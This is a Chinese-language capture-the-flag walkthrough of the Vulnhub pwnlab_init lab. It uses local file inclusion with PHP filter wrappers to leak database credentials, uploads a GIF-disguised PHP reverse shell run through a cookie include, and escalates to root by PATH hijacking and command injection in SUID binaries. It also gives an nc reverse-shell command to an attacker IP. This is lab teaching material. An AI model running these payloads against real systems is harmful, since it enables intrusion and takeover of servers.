【甄选靶场】Vulnhub百个项目渗透——项目十八:pwnlab_init(LFI本地文件包含,PHP伪协议,文件上传绕过,逆向分析)

Vulnhub百个项目渗透

Vulnhub百个项目渗透——项目十八:pwnlab_init(LFI本地文件包含,PHP伪协议,文件上传绕过,逆向分析)

靶场地址


系列专栏:Vulnhub百个项目渗透
欢迎关注点赞收藏⭐️留言
首发时间:2022年9月21日
作者水平很有限,如果发现错误,还望告知,感谢!

巅峰之路

  • Vulnhub百个项目渗透
  • 前言
  • 一、梳理流程
  • 二、web突破
    • 1、服务发现
    • 2、web突破
      • LFI(本地文件包含)
      • mysql信息收集
        • index页面
        • upload页面
          • 具体分析各部分
      • 文件上传突破
        • 读取突破
    • 三、提权
    • 四、拓展
  • 总结


前言

本文章仅用作实验学习,实验环境均为自行搭建的公开vuinhub靶场,仅使用kali虚拟机作为操作学习工具。本文仅用作学习记录,不做任何导向。请勿在现实环境中模仿,操作。


一、梳理流程

  1. 端口发现(看看使用了哪些端口,开启了什么服务,寻找突破点)
  2. 信息收集(利用遍历,关键词搜索等方式对敏感文件,插件尝试访问,寻求突破并获取shell)
  3. 二次收集(基于已得到的服务或者主机再次信息收集)
  4. 内网提权(尝试利用内核,各种版本漏洞等方式来提升权限)
  5. 毁尸灭迹(清除日志等文件,但是靶场就没必要了,拿旗就走)

二、web突破

1、服务发现


发现了一个盐值
我们先进行web层面的分析

2、web突破

nikto -h 192.168.247.149
curl http://192.168.247.149

发现了三个目录,以此访问,得到如下结论(图不小心删了,对不起 。。)

首先,这是个web页面,要先进行信息收集
其次,这是个登录框(考虑sql注入,密码爆破,弱口令)
第三,这个url很明显将页面的变换变成了变量参数的变化,那么这种情况下,就可能存在sql注入,或者LFI
【甄选靶场】Vulnhub百个项目渗透——项目十八:pwnlab_init(LFI本地文件包含,PHP伪协议,文件上传绕过,逆向分析)_第1张图片

LFI(本地文件包含)

LFI产生的原因是由于程序员未对用户可控变量进行输入检查,此漏洞的影响可能导致泄露服务器上的敏感文件,如若攻击者能够通过其他方式在Web服务器上放置代码(一般以文件上传的方式来体现),那么他们便可以执行任意命令

存在的意义
php这类文件我们在前端是查看不了的,我们只配知道他运行之后的结果,而不配知道他的具体细节。LFI利用php伪协议就可以解决这个问题

典型漏洞代码

单纯的从URL判断的话,URL中path、dir、file、pag、page、archive、p、eng、语言文件等相关关键字眼的时候,可能存在文件包含漏洞。

【甄选靶场】Vulnhub百个项目渗透——项目十八:pwnlab_init(LFI本地文件包含,PHP伪协议,文件上传绕过,逆向分析)_第2张图片

先看看这个config.php
可以正常访问但是没有回显,大概率这个php有东西但是看不到,再一看url,欧呦,典型的LFI,那我们就进行尝试

http://10.211.55.46/?page=php://filter/convert.base64-encode/resource=config

下图就把文件信息按照base64编码输出出来了,这一串应该也很好理解

【甄选靶场】Vulnhub百个项目渗透——项目十八:pwnlab_init(LFI本地文件包含,PHP伪协议,文件上传绕过,逆向分析)_第3张图片

解码之后

<?php
$server	  = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
?>

mysql信息收集

登录mysql

mysql -uroot -pH4u%QJ_H99 -h 192.168.247.149

在数据库里一顿查找,查找到了三个用户名以及密码

kent 	JWzXuBJJNy
mike	SIfdsTEn6I
kane 	iSv5Ym2GRo

登陆上去

【甄选靶场】Vulnhub百个项目渗透——项目十八:pwnlab_init(LFI本地文件包含,PHP伪协议,文件上传绕过,逆向分析)_第4张图片

一个文件上传的接口,按照之前的项目直接来,加一个GIF89a的头先干他一下。

然后先等等,先把其他页面的也查看一下

index页面

http://192.168.247.149/?page=php://filter/convert.base64-encode/resource=index
<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
	include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
<?php
	if (isset($_GET['page']))
	{
		include($_GET['page'].".php");
	}
	else
	{
		echo "Use this server to upload and share image files inside the intranet";
	}
?>
</center>
</body>
</html>
if (isset($_COOKIE['lang']))
{
	include("lang/".$_COOKIE['lang']);
}

这一串代码是说明把

upload页面

这是一个检验上传的文件,并且如何执行报错的文件

http://192.168.247.149/?page=php://filter/convert.base64-encode/resource=upload
<?php
session_start();
if (!isset($_SESSION['user'])) { die('You must be log in.'); }
?>
<html>
	<body>
		<form action='' method='post' enctype='multipart/form-data'>
			<input type='file' name='file' id='file' />
			<input type='submit' name='submit' value='Upload'/>
		</form>
	</body>
</html>
<?php 
if(isset($_POST['submit'])) {
	if ($_FILES['file']['error'] <= 0) {
		$filename  = $_FILES['file']['name'];
		$filetype  = $_FILES['file']['type'];
		$uploaddir = 'upload/';
		$file_ext  = strrchr($filename, '.');
		$imageinfo = getimagesize($_FILES['file']['tmp_name']);
		$whitelist = array(".jpg",".jpeg",".gif",".png"); 

		if (!(in_array($file_ext, $whitelist))) {
			die('Not allowed extension, please upload images only.');
		}

		if(strpos($filetype,'image') === false) {
			die('Error 001');
		}

		if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
			die('Error 002');
		}

		if(substr_count($filetype, '/')>1){
			die('Error 003');
		}

		$uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;

		if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
			echo ".$uploadfile."\">
"
; } else { die('Error 4'); } } } ?>
具体分析各部分
限制了白名单
		$whitelist = array(".jpg",".jpeg",".gif",".png"); 

		if (!(in_array($file_ext, $whitelist))) {
			die('Not allowed extension, please upload images only.');
如果解析出来不是文件格式就报错
if(strpos($filetype,'image') === false) {
			die('Error 001');
文件名与文件类型的双向验证
	if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
			die('Error 002');
拒绝/,抵抗目录遍历
		if(substr_count($filetype, '/')>1){
			die('Error 003');

此时此刻我们知道了我们上传的文件不仅仅需要后缀名绕过,也需要文件类型绕过,相对比较严格

文件上传突破

cp /usr/share/webshells/php/php-reverse-shell.php .
mv php-reverse-shell.php rong.php
在php文件头上放一个GIF头,来完成文件类型验证
mv rong.php rong.php.gif

upload/f3c697838a7e6b1c6406bb5b246e553f.gif

上传成功,右键源码可以看到文件上传地址,或者利用nurpsuit来获取上传之后的地址

读取突破

然后我们直接访问这个地址没有用,可能是因为限制的问题,我们在外面访问不到。
这个时候就想一下之前源码审计的时候,有啥

if (isset($_COOKIE['lang']))
{
	include("lang/".$_COOKIE['lang']);

看看这个显眼的include,那不就懂了?只要有一个变量叫lang,然后传给cookie,就会被include。那就是文件包含,那么我们要么burpsuit抓包修改cookie数值,要么使用curl直接干

curl 192.168.247.129 -H "Cookie: lang=../upload/f3c697838a7e6b1c6406bb5b246e553f.gif"

三、提权

说话之前,先上传提权三脚本,然后再经典三问

uname -a
find  / -perm -4000 2>/dev/null    ---查看有无特权文件
sudo -l      -看看能否sudo提权

发现啥也没有

【甄选靶场】Vulnhub百个项目渗透——项目十八:pwnlab_init(LFI本地文件包含,PHP伪协议,文件上传绕过,逆向分析)_第5张图片

看一下目录下的文件,发现了一个文件时mike权限,很奇怪,运行一下

【甄选靶场】Vulnhub百个项目渗透——项目十八:pwnlab_init(LFI本地文件包含,PHP伪协议,文件上传绕过,逆向分析)_第6张图片

最后一行代码的意思是使用mike的权限执行cat
/home/mike/msg.txt,直接执行提示没有cat,那就新建一个cat命令,执行bash命令

echo /bin/bash > cat    ---创建一个shell命令的文件:/bin/sh
chmod 777 cat           ---赋权
export PATH=/tmp:$PATH  ---赋予tmp目录环境变量
cd && ./msgmike

【甄选靶场】Vulnhub百个项目渗透——项目十八:pwnlab_init(LFI本地文件包含,PHP伪协议,文件上传绕过,逆向分析)_第7张图片【甄选靶场】Vulnhub百个项目渗透——项目十八:pwnlab_init(LFI本地文件包含,PHP伪协议,文件上传绕过,逆向分析)_第8张图片

倒数第二行这里是命令注入
asprintf:当成功时函数返回打印的字符长度,类似sprintf函数,如果内存空间不足或其他错误返回-1
这里的意思就是使用bin目录下的echo利用root权限写入到root目录下的messahes.txt
从而构成了一个可以提权的命令执行
那我们直接执行他,然后就可以命令执行

./msg2root
Message for root: cd && /bin/sh

四、拓展


1)sqlmap带账号密码爆破
sqlmap -d 'mysql://root:H4u%[email protected]:3306/Users' --dump -T users -D Users

测试写入权限:
sqlmap -d 'mysql://root:H4u%[email protected]:3306/Users' --current-user --is-dba
由于当前用户不是DBA,无法通过MySQL ROOT 帐户写入文件!

2)最小图片技巧
去png-pixel.com下载一个简单的1x1像素PNG:
https://infosecjohn.blog/posts/vulnhub-pwnlab/

将我的simple-backdoor.php代码附加到它的末尾:
cat /usr/share/webshells/php/simple-backdoor.php >> 1x1-ffffff7f.png

上传:
upload/6847a37e40ac4e9d6c9a577c8fd90b0e.png

curl --output - -b lang=../upload/6847a37e40ac4e9d6c9a577c8fd90b0e.png http://10.211.55.46/index.php?cmd=ls

curl --output - -b lang=../upload/6847a37e40ac4e9d6c9a577c8fd90b0e.png http://10.211.55.47/index.php?cmd=/bin/nc+-e+/bin/sh+10.211.55.19+9999


总结

1.对于可执行文件,我们要学会利用ida,gdb,odb等工具进行逆向分析

你可能感兴趣的:(vulnhub百个项目渗透,php,安全,开发语言,网络安全,web安全)